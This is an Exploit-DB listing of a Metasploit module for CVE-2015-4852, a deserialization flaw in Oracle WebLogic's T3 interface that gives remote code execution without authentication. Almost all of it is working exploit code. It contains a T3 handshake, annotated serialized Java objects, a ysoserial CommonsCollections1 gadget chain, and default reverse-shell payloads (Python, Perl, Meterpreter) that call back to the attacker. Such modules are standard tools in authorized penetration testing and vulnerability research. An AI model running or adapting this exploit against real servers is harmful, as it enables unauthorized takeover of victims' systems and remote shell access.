Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)

EDB-ID:

46628




Platform:

Multiple

Date:

2019-03-28


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  #include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
      'Description' => %q{
        An unauthenticated attacker with network access to the Oracle Weblogic Server T3
        interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
        to the interface to execute code on vulnerable hosts.
      },
      'Author' =>
        [
        'Andres Rodriguez',  # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
        'Stephen Breen',     # Vulnerability Discovery
        'Aaron Soto'         # Reverse Engineering JSO and ysoserial blobs
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-4852']
        ],
      'Privileged' => false,
      'Platform' => %w{ unix win solaris },
      'Targets' =>
        [
          [ 'Unix',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
            'Payload' => {
              'Encoder' => 'cmd/ifs',
              'BadChars' => ' ',
              'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
            }
          ],
          [ 'Windows',
            'Platform' => 'win',
            'Payload' => {},
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
          ],
          [ 'Solaris',
            'Platform' => 'solaris',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
            'Payload' => {
              'Space'       => 2048,
              'DisableNops' => true,
              'Compat'      =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl telnet',
                }
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jan 28 2015'))

    register_options([Opt::RPORT(7001)])
  end

=begin   This check is currently incompatible with the Tcp mixin.  :-(
  def check
    resp = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/console/login/LoginForm.jsp'
    )

    return CheckCode::Unknown unless resp && resp.code == 200

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown
    end

    version = Gem::Version.new(version)
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
    case
    when version.to_s.start_with?('10.3')
      return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')
    when version.to_s.start_with?('12.1.2')
      return CheckCode::Appears unless version > Gem::Version.new('12.1.2.0')
    when version.to_s.start_with?('12.1.3')
      return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')
    when version.to_s.start_with?('12.2')
      return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')
    end

    return CheckCode::Safe
  end
=end

  def t3_handshake
    # retrieved from network traffic
    shake = "t3 12.2.1\n"
    shake << "AS:255\n"
    shake << "HL:19\n"
    shake << "MS:10000000\n\n"

    sock.put(shake)
    sleep(1)
    sock.get_once
  end

  def build_t3_request_object
    # T3 request serialized data
    # retrieved by watching network traffic
    # This is a proprietary, undocumented protocol

    # TODO: Cite a source for the dissection of in the following 14 lines:
    data =  '000005c3'                                     # lenght of the packet
    data << '01'                                           # CMD_IDENTIFY_REQUEST
    data << '65'                                           # QOS
    data << '01'                                           # Flags:
                                                           #   CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
                                                           #   CONTEXT_TX_FLAG = 2
                                                           #   CONTEXT_TRACE_FLAG = 4
                                                           #   CONTEXT_EXTENDED_FLAG = 8
                                                           #   CONTEXT_EXTENDED_USER_FLAG = 16
    data << 'ffffffff'                                     # response id
    data << 'ffffffff'                                     # invocable id
    data << '0000006a'                                     # abbrev offset
    data << '0000ea60'                                     # reconnect timeout ??

    data << '0000001900937b484a'
    data << '56fa4a777666f581daa4f5b90e2aebfc607499'
    data << 'b4027973720078720178720278700000000a00'
    data << '00000300000000000000060070707070707000'
    data << '00000a000000030000000000000006007006'

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72001d'                                       # className (29 bytes):
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
    data << '5461626c65456e747279'                         #     (continued)
    data << '2f52658157f4f9ed'                             #   serialVersionUID
    data << '0c00007870'                                   #   remainder of object header
    data << '72'                                           # object header
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
    data << '65726e616c2e5061636b616765496e666f'           #     (continued)
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0008'                                         #   fieldCount = 8
    data << '4900056d616a6f72'                             #     0: Int: major
    data << '4900056d696e6f72'                             #     1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
    data << '71007e0003'                                   #        (Handle) 0x007e0003
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
    data << '71007e0003'                                   #        (Handle) 0x007e0003
    data << '78707702000078'                               #   block footers

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '7372'                                         #   object header
    data << '001d7765626c6f6769632e726a766d2e436c6173'     #   className (29 bytes): weblogic.rjvm.ClassTableEntry
    data << '735461626c65456e747279'                       #     (continued)
    data << '2f52658157f4f9ed'                             #   serialVersionUID
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
    data << '00007870'                                     #   remainder of object header
    data << '72'                                           # object header
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      #   className (36 bytes): weblogic.common.internal.VersionInfo
    data << 'e7465726e616c2e56657273696f6e496e666f'        #     (continued)
    data << '972245516452463e'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0003'                                         #   fieldCount = 3
    data << '5b0008'                                       #   array header (8 bytes)
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
    data << '3b'                                           #       (continued)
    data << '4c000e'                                       #   object header (14 bytes)
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
    data << '740012'                                       #     TC_STRING (18 bytes)
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
    data << '5b0012'                                       #   array header (18 bytes)
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
    data << '740002'                                       #     TC_STRING (2 bytes)
    data << '5b42'                                         #       0x5b42 = [B
    data << '78'                                           # block footer

    data << '720024'                                       # class (36 bytes)
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
    data << '7465726e616c2e5061636b616765496e666f'         #     (continued)
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID

    data << '02'                                           #   SC_SERIALIZABLE
    data << '0008'                                         #   fieldCount = 8
    data << '4900056d616a6f72'                             #   0: Int: major
    data << '4900056d696e6f72'                             #   1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
    data << '71'                                           #      TC_REFERENCE
    data << '007e0004'                                     #      Handle = 0x007e0004
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
    data << '71'                                           #      TC_REFERENCE
    data << '007e0004'                                     #      Handle = 0x007e0004
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
    data << '71'                                           #      TC_REFERENCE
    data << '007e0004'                                     #      Handle = 0x007e0004
    data << '78'                                           # class footer
    data << '70'                                           # TC_NULL
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
    data << '78'                                           # block footer

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72001d'                                       # className (29 bytes):
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
    data << '5461626c65456e747279'                         #     (continued)
    data << '2f52658157f4f9ed'                             #   serialVersionUID
    data << '0c00007870'                                   #   remainder of object header
    data << '720021'                                       # className (33 bytes)
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
    data << '65726e616c2e50656572496e666f'                 #     (continued)
    data << '585474f39bc908f1'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0006'                                         #   fieldCount = 6
    data << '4900056d616a6f72'                             #     0: Int: major
    data << '4900056d696e6f72'                             #     1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
    data << '5b00087061636b61676573'                       #     5: Array: packages
    data << '740027'                                       #        TC_STRING (39 bytes)
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
    data << '3b'                                           #        (continued)
    data << '78'                                           # block footer
    data << '720024'                                       # class header
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Name = Lweblogic/common/internal/PackageInfo;
    data << '65726e616c2e56657273696f6e496e666f'           #     (continued)
    data << '972245516452463e'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0003'                                         #   fieldCount = 3
    data << '5b0008'                                       #   0: Array
    data << '7061636b6167657371'                           #      packages
    data << '007e0003'                                     #      Handle = 0x00730003
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
    data << '740002'                                       #      TC_STRING (2 bytes)
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
    data << '78'                                           # block footer
    data << '720024'                                       # class header
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
    data << '6e616c2e5061636b616765496e666f'               #     (continued)
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0008'                                         #   fieldCount = 8
    data << '4900056d616a6f72'                             #   0: Int: major
    data << '4900056d696e6f72'                             #   1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
    data << '71'                                           #      TC_REFERENCE
    data << '007e0005'                                     #      Handle = 0x007e0005
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
    data << '71'                                           #      TC_REFERENCE
    data << '007e0005'                                     #      Handle = 0x007e0005
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
    data << '71'                                           #      TC_REFERENCE
    data << '007e0005'                                     #      Handle = 0x007e0005
    data << '78'                                           # class footer
    data << '707702000078'                                 # block footers

    data << 'fe00ff'                                       # this cruft again.  some kind of footer

    data << 'fe010000'                                     # ----- separator -----

    # weblogic.rjvm.JVMID object
    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '720013'                                       #   class header
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #     name = 'weblogic.rjvm.JVMID'
    data << 'dc49c23ede121e2a'                             #     serialVersionUID
    data << '0c'                                           #     EXTERNALIZABLE | BLOCKDATA
    data << '0000'                                         #     fieldCount = 0   (!!!)
    data << '78'                                           #   block footer
    data << '70'                                           # NULL
    data << '7750'                                         # block header (80 bytes)
    data << '21'                                           #   !
    data << '000000000000000000'                           #   9 NULL BYTES

    data << '0d'                                           #   strLength = 13 bytes
    #data << '3139322e3136382e312e323237'                  #   original PoC string = 192.168.1.227
    data << '3030302e3030302e3030302e30'                   #   new string = 000.000.000.0
                                                           #      (must be an IP, and length isn't trivially editable)
    data << '00'                                           #   \0

    data << '12'                                           #   strLength = 18 bytes
    #data << '57494e2d4147444d565155423154362e6568'        #   original str = WIN-AGDMVQUB1T6.eh
    data << rand_text_alphanumeric(18).unpack('H*')[0]

    data << '83348cd6'                                     #  original = ??? UNKNOWN ???  (Note: Cannot be randomized)

    data << '000000070000'                                 #   ??? UNKNOWN ???
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
    data << 'ffffffffffffffffffffffffffffffffffffff'       #   ??? UNKNOWN ???
    data << 'ffffffffff'                                   #   ??? UNKNOWN ???
    data << '78'                                           # block footer

    data << 'fe010000'                                     # ----- separator -----

    # weblogic.rjvm.JVMID object
    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72'                                           #   class
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
    data << '0000'                                         #   fieldCount = 0
    data << '78'                                           # end block
    data << '70'                                           # TC_NULL
    data << '77'                                           # block header
    data << '20'                                           #   length = 32 bytes
    data << '0114dc42bd071a772700'                         #   old string = ??? UNKNOWN ???
    #data << rand_text_alphanumeric(10).unpack('H*')[0]    #     (NOTE: RANDOMIZAITON BREAKS THINGS)

    data << '0d'                                           #   string length = 13 bytes (NOTE: do not edit)
    #data << '3234322e3231342e312e323534'                  #   original string = 242.214.1.254
    data << '3030302e3030302e3030302e30'                   #   new string = 000.000.000.0
                                                           #      (must be an IP, and length isn't trivially editable)

    #data << '61863d1d'                                    #   original string = ??? UNKNOWN ???
    data << rand_text_alphanumeric(4).unpack('H*')[0]      #   new = randomized

    data << '00000000'                                     #   NULL BYTES
    data << '78'                                           # block footer

    sock.put([data].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def send_payload_objdata
    # payload creation
    if target.name == 'Windows'
      mycmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
    elsif target.name == 'Unix' || target.name == 'Solaris'
      mycmd = payload.encoded
    end

    # basic weblogic ClassTableEntry object (serialized)
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
    payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
    payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
    payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'

    payload << 'fe010000'                                  # ----- separator -----

    payload << 'aced0005'                                  # JSO v5 header
    payload << '73'                                        # object header
    payload << '72'                                        #   class
    payload << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
    payload << '73735461626c65456e747279'                  #     (cont)
    payload << '2f52658157f4f9ed'                          #   serialVersionUID
    payload << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
    payload << '0000'                                      #   fieldCount = 0
    payload << '7870'                                      #   remaining object header
    payload << '72'                                        # class header
    payload << '00025b42'                                  #   Name: 0x5b42
    payload << 'acf317f8060854e0'                          #   serialVersionUID
    payload << '02'                                        #   SERIALIZABLE
    payload << '0000'                                      #   fieldCount = 0
    payload << '7870'                                      #   class footer
    payload << '77'                                        # block header
    payload << '020000'                                    #   contents = 0x0000
    payload << '78'                                        #   block footer

    payload << 'fe010000'                                  # ----- separator -----

    payload << 'aced0005'                                  # JSO v5 header
    payload << '73'                                        # object header
    payload << '72'                                        #   class
    payload << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
    payload << '73735461626c65456e747279'                  #     (cont)
    payload << '2f52658157f4f9ed'                          #   serialVersionUID
    payload << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
    payload << '0000'                                      #   fieldCount = 0
    payload << '7870'                                      #   remaining object header
    payload << '72'                                        # class header

    payload << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
    payload << '6563743b'                                  #     (cont)
    payload << '90ce589f1073296c'                          #   serialVersionUID
    payload << '02'                                        #   SERIALIZABLE
    payload << '0000'                                      #   fieldCount = 0
    payload << '7870'                                      #   remaining object header
    payload << '77'                                        # block header
    payload << '020000'                                    #   contents = 0x0000
    payload << '78'                                        #   block footer

    payload << 'fe010000'                                  # ----- separator -----

    payload << 'aced0005'                                  # JSO v5 header
    payload << '73'                                        # object header
    payload << '72'                                        #   class

    payload << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
    payload << '73735461626c65456e747279'                  #     (cont)
    payload << '2f52658157f4f9ed'                          #   serialVersionUID
    payload << '0c'                                        #   SERIALIZABLE | BLOCKDATA
    payload << '0000'                                      #   fieldCount = 0
    payload << '7870'                                      #   block footer
    payload << '72'                                        # class header
    payload << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
    payload << 'd9977d5b803baf01'                          #   serialVersionUID
    payload << '03'                                        #   WRITE_METHOD | SERIALIZABLE
    payload << '0003'                                      #   fieldCount = 3
    payload << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
    payload << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
    payload << '5b000b656c656d656e7444617461'              #   2: Array: elementData
    payload << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
    payload << '743b'                                      #      (cont)
    payload << '7870'                                      #   remaining object header
    payload << '77'                                        # block header
    payload << '020000'                                    #   contents = 0x0000
    payload << '78'                                        #   block footer

    payload << 'fe010000'                                  # ----- separator -----

    ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",mycmd)
    payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join

    payload << 'fe010000'                                  # ----- separator -----

    # basic weblogic ImmutableServiceContext object (serialized)
    payload << 'aced0005'                                  # JSO v5 header
    payload << '73'                                        # object header
    payload << '72'                                        #   class
    payload << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name: weblogic.rjvm.ImmutableServiceContext
    payload << '7461626c6553657276696365436f6e74657874'    #     (cont)
    payload << 'ddcba8706386f0ba'                          #   serialVersionUID
    payload << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
    payload << '0000'                                      #   fieldCount = 0
    payload << '78'                                        #   object footer
    payload << '72'                                        # block header
    payload << '00297765626c6f6769632e726d692e70726f76'    #   Name: weblogic.rmi.provider.BasicServiceContext
    payload << '696465722e426173696353657276696365436f'    #     (cont)
    payload << '6e74657874'                                #     (cont)
    payload << 'e4632236c5d4a71e'                          #   serialVersionUID
    payload << '0c'                                        #     EXTERNALIZABLE | BLOCKDATA
    payload << '0000'                                      #   fieldCount = 0
    payload << '7870'                                      #   block footer
    payload << '77'                                        # block header
    payload << '020600'                                    #   contents = 0x0600
    payload << '7372'                                      #   class descriptor
    payload << '00267765626c6f6769632e726d692e696e7465'    #     Name: weblogic.rmi.internal.MethodDescriptor
    payload << '726e616c2e4d6574686f644465736372697074'    #       (cont)
    payload << '6f72'                                      #       (cont)
    payload << '12485a828af7f67b'                          #     serialVersionUID
    payload << '0c'                                        #     EXTERNALIZABLE | BLOCKDATA
    payload << '0000'                                      #     fieldCount = 0
    payload << '7870'                                      #     class footer
    payload << '77'                                        #   class data

    #payload << '34002e61757468656e746963617465284c7765'    #     old contents = 0x002e61757468656e746963617465284c7765
    #payload << '626c6f6769632e73656375726974792e61636c'    #                    626c6f6769632e73656375726974792e61636c
    #payload << '2e55736572496e666f3b290000001b'            #                    2e55736572496e666f3b290000001b
    payload << rand_text_alphanumeric(52).unpack('H*')[0]  #   new = randomized
    payload << '78'                                        #     class footer
    payload << '78'                                        #   block footer
                                                           # MISSING OBJECT FOOTER (0x78)

    payload << 'fe00ff'                                    # this cruft again.  some kind of footer

    # sets the length of the stream
    data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
    data << payload

    sock.put([data].pack('H*'))
    sleep(1)
    sock.get_once

  end

  def exploit
    connect

    print_status('Sending handshake...')
    t3_handshake

    print_status('Sending T3 request object...')
    build_t3_request_object

    print_status('Sending client object payload...')
    send_payload_objdata

    handler
    disconnect
  end
end